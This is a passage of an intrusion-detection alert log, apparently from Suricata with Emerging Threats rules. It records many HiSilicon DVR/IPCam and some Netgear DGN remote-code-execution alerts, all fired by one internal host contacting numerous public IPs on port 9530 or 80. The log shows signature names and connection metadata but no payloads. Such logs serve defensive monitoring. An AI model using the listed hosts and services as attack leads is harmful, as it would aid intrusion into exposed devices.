Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.230.237.87

Timestamp:	05/16/24-16:38:59.557667
SID:	2030487
Source Port:	35154
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.151.17.242

Timestamp:	05/16/24-16:39:14.509948
SID:	2030487
Source Port:	48890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.153.119.104

Timestamp:	05/16/24-16:38:53.011530
SID:	2030488
Source Port:	36562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.56.160.88

Timestamp:	05/16/24-16:39:08.135843
SID:	2030487
Source Port:	43790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.230.237.87

Timestamp:	05/16/24-16:38:59.557667
SID:	2030488
Source Port:	35154
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.56.160.88

Timestamp:	05/16/24-16:39:08.135843
SID:	2030488
Source Port:	43790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 49.51.149.152

Timestamp:	05/16/24-16:38:53.065665
SID:	2030488
Source Port:	57502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.155.208.170

Timestamp:	05/16/24-16:39:12.380565
SID:	2030487
Source Port:	46036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.158.29.99

Timestamp:	05/16/24-16:39:05.717260
SID:	2030487
Source Port:	59158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.158.29.99

Timestamp:	05/16/24-16:39:05.717260
SID:	2030488
Source Port:	59158
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.155.208.170

Timestamp:	05/16/24-16:39:12.380565
SID:	2030488
Source Port:	46036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.151.17.242

Timestamp:	05/16/24-16:39:14.509948
SID:	2030488
Source Port:	48890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 49.51.149.152

Timestamp:	05/16/24-16:38:53.065665
SID:	2030487
Source Port:	57502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.173.99.149

Timestamp:	05/16/24-16:38:57.434327
SID:	2030487
Source Port:	41360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.22.132.124

Timestamp:	05/16/24-16:38:55.208905
SID:	2030487
Source Port:	40708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.74.204.209

Timestamp:	05/16/24-16:39:02.725553
SID:	2030488
Source Port:	43630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.198.174.222

Timestamp:	05/16/24-16:39:02.748336
SID:	2030487
Source Port:	34512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.22.132.124

Timestamp:	05/16/24-16:38:55.208905
SID:	2030488
Source Port:	40708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.198.174.222

Timestamp:	05/16/24-16:39:02.748336
SID:	2030488
Source Port:	34512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.74.204.209

Timestamp:	05/16/24-16:39:02.725553
SID:	2030487
Source Port:	43630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.198.78.60

Timestamp:	05/16/24-16:39:12.380072
SID:	2030487
Source Port:	59542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.198.78.60

Timestamp:	05/16/24-16:39:12.380072
SID:	2030488
Source Port:	59542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.208.209.52

Timestamp:	05/16/24-16:39:14.493556
SID:	2030488
Source Port:	38448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.208.209.52

Timestamp:	05/16/24-16:39:14.493556
SID:	2030487
Source Port:	38448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.185.107.61

Timestamp:	05/16/24-16:39:05.676827
SID:	2030488
Source Port:	58442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.195.97.112

Timestamp:	05/16/24-16:38:55.176116
SID:	2030488
Source Port:	56196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.188.86.179

Timestamp:	05/16/24-16:38:59.559321
SID:	2030487
Source Port:	46288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.248.165.141

Timestamp:	05/16/24-16:38:50.052092
SID:	2030487
Source Port:	36276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.195.97.112

Timestamp:	05/16/24-16:38:55.176116
SID:	2030487
Source Port:	56196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.185.107.61

Timestamp:	05/16/24-16:39:05.676827
SID:	2030487
Source Port:	58442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.248.165.141

Timestamp:	05/16/24-16:38:50.052092
SID:	2030488
Source Port:	36276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.10.225.110

Timestamp:	05/16/24-16:39:03.268490
SID:	2030488
Source Port:	45220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.188.86.179

Timestamp:	05/16/24-16:38:59.559321
SID:	2030488
Source Port:	46288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.10.225.110

Timestamp:	05/16/24-16:39:03.268490
SID:	2030487
Source Port:	45220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.238.242.99

Timestamp:	05/16/24-16:38:59.519288
SID:	2030487
Source Port:	42740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.218.203.124

Timestamp:	05/16/24-16:39:08.145073
SID:	2030488
Source Port:	39890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.238.242.99

Timestamp:	05/16/24-16:38:59.519288
SID:	2030488
Source Port:	42740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.218.203.124

Timestamp:	05/16/24-16:39:08.145073
SID:	2030487
Source Port:	39890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.135.248.191

Timestamp:	05/16/24-16:38:57.429394
SID:	2030487
Source Port:	51730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.226.103.11

Timestamp:	05/16/24-16:39:05.700273
SID:	2030487
Source Port:	34720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.226.103.11

Timestamp:	05/16/24-16:39:05.700273
SID:	2030488
Source Port:	34720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.133.219.228

Timestamp:	05/16/24-16:38:53.094045
SID:	2030488
Source Port:	36506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.133.219.228

Timestamp:	05/16/24-16:38:53.094045
SID:	2030487
Source Port:	36506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.135.248.191

Timestamp:	05/16/24-16:38:57.429394
SID:	2030488
Source Port:	51730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.221.16.141

Timestamp:	05/16/24-16:39:12.301227
SID:	2030488
Source Port:	54058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 154.221.16.141

Timestamp:	05/16/24-16:39:12.301227
SID:	2030487
Source Port:	54058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.163.86.188

Timestamp:	05/16/24-16:38:50.004188
SID:	2030488
Source Port:	55202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.163.86.188

Timestamp:	05/16/24-16:38:50.004188
SID:	2030487
Source Port:	55202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.119.10.33

Timestamp:	05/16/24-16:38:59.558462
SID:	2030487
Source Port:	59036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.13.86.103

Timestamp:	05/16/24-16:39:05.714913
SID:	2030488
Source Port:	36036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.13.86.103

Timestamp:	05/16/24-16:39:05.714913
SID:	2030487
Source Port:	36036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.241.118.175

Timestamp:	05/16/24-16:38:59.584418
SID:	2030487
Source Port:	33128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.119.10.33

Timestamp:	05/16/24-16:38:59.558462
SID:	2030488
Source Port:	59036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.241.118.175

Timestamp:	05/16/24-16:38:59.584418
SID:	2030488
Source Port:	33128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.196.24.26

Timestamp:	05/16/24-16:39:16.597912
SID:	2030488
Source Port:	48426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.196.24.26

Timestamp:	05/16/24-16:39:16.597912
SID:	2030487
Source Port:	48426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.16.180.127

Timestamp:	05/16/24-16:38:55.192659
SID:	2030487
Source Port:	44094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.16.180.127

Timestamp:	05/16/24-16:38:55.192659
SID:	2030488
Source Port:	44094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.199.211.78

Timestamp:	05/16/24-16:39:12.401694
SID:	2030488
Source Port:	37140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.199.211.78

Timestamp:	05/16/24-16:39:12.401694
SID:	2030487
Source Port:	37140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.1.80.178

Timestamp:	05/16/24-16:38:53.011491
SID:	2030488
Source Port:	44416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.1.80.178

Timestamp:	05/16/24-16:38:53.011491
SID:	2030487
Source Port:	44416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.27.114.37

Timestamp:	05/16/24-16:38:50.047743
SID:	2030487
Source Port:	60964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.27.114.37

Timestamp:	05/16/24-16:38:50.047743
SID:	2030488
Source Port:	60964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.112.234.166

Timestamp:	05/16/24-16:38:59.589131
SID:	2030488
Source Port:	37404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.166.51.23

Timestamp:	05/16/24-16:39:16.598410
SID:	2030487
Source Port:	51332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.166.51.23

Timestamp:	05/16/24-16:39:16.598410
SID:	2030488
Source Port:	51332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.112.234.166

Timestamp:	05/16/24-16:38:59.589131
SID:	2030487
Source Port:	37404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.170.45.211

Timestamp:	05/16/24-16:38:53.064429
SID:	2030488
Source Port:	58516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 34.29.98.17

Timestamp:	05/16/24-16:38:59.593430
SID:	2030487
Source Port:	37794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.170.45.211

Timestamp:	05/16/24-16:38:53.064429
SID:	2030487
Source Port:	58516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 34.29.98.17

Timestamp:	05/16/24-16:38:59.593430
SID:	2030488
Source Port:	37794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.10.3.210

Timestamp:	05/16/24-16:39:14.492333
SID:	2030488
Source Port:	52520
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.10.3.210

Timestamp:	05/16/24-16:39:14.492333
SID:	2030487
Source Port:	52520
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.87.133.189

Timestamp:	05/16/24-16:38:57.438269
SID:	2030487
Source Port:	57264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.87.133.189

Timestamp:	05/16/24-16:38:57.438269
SID:	2030488
Source Port:	57264
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 8.172.120.59

Timestamp:	05/16/24-16:39:05.506752
SID:	2034576
Source Port:	60530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.21.220.179

Timestamp:	05/16/24-16:39:16.580466
SID:	2030487
Source Port:	40384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.21.220.179

Timestamp:	05/16/24-16:39:16.580466
SID:	2030488
Source Port:	40384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.164.73.114

Timestamp:	05/16/24-16:39:02.766979
SID:	2030488
Source Port:	53780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.168.255.192

Timestamp:	05/16/24-16:39:08.044894
SID:	2030487
Source Port:	36446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.164.73.114

Timestamp:	05/16/24-16:39:02.766979
SID:	2030487
Source Port:	53780
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.168.255.192

Timestamp:	05/16/24-16:39:08.044894
SID:	2030488
Source Port:	36446
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.153.108.23

Timestamp:	05/16/24-16:39:08.126432
SID:	2030487
Source Port:	48430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.153.108.23

Timestamp:	05/16/24-16:39:08.126432
SID:	2030488
Source Port:	48430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.243.195.1

Timestamp:	05/16/24-16:39:16.611867
SID:	2030488
Source Port:	60322
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.38.33.176

Timestamp:	05/16/24-16:39:12.295475
SID:	2030488
Source Port:	58228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.38.33.176

Timestamp:	05/16/24-16:39:12.295475
SID:	2030487
Source Port:	58228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 181.188.20.229

Timestamp:	05/16/24-16:38:49.305817
SID:	2029215
Source Port:	37628
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.16.157.81

Timestamp:	05/16/24-16:38:57.408665
SID:	2030487
Source Port:	54668
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.16.157.81

Timestamp:	05/16/24-16:38:57.408665
SID:	2030488
Source Port:	54668
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.48.28.118

Timestamp:	05/16/24-16:38:57.411384
SID:	2030488
Source Port:	46200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.48.28.118

Timestamp:	05/16/24-16:38:57.411384
SID:	2030487
Source Port:	46200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.219.159.17

Timestamp:	05/16/24-16:38:50.069055
SID:	2030488
Source Port:	37106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.219.159.17

Timestamp:	05/16/24-16:38:50.069055
SID:	2030487
Source Port:	37106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.85.200.199

Timestamp:	05/16/24-16:39:03.280132
SID:	2030487
Source Port:	34118
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.213.226.101

Timestamp:	05/16/24-16:39:05.714933
SID:	2030487
Source Port:	48432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.213.226.101

Timestamp:	05/16/24-16:39:05.714933
SID:	2030488
Source Port:	48432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.42.187.34

Timestamp:	05/16/24-16:39:08.092958
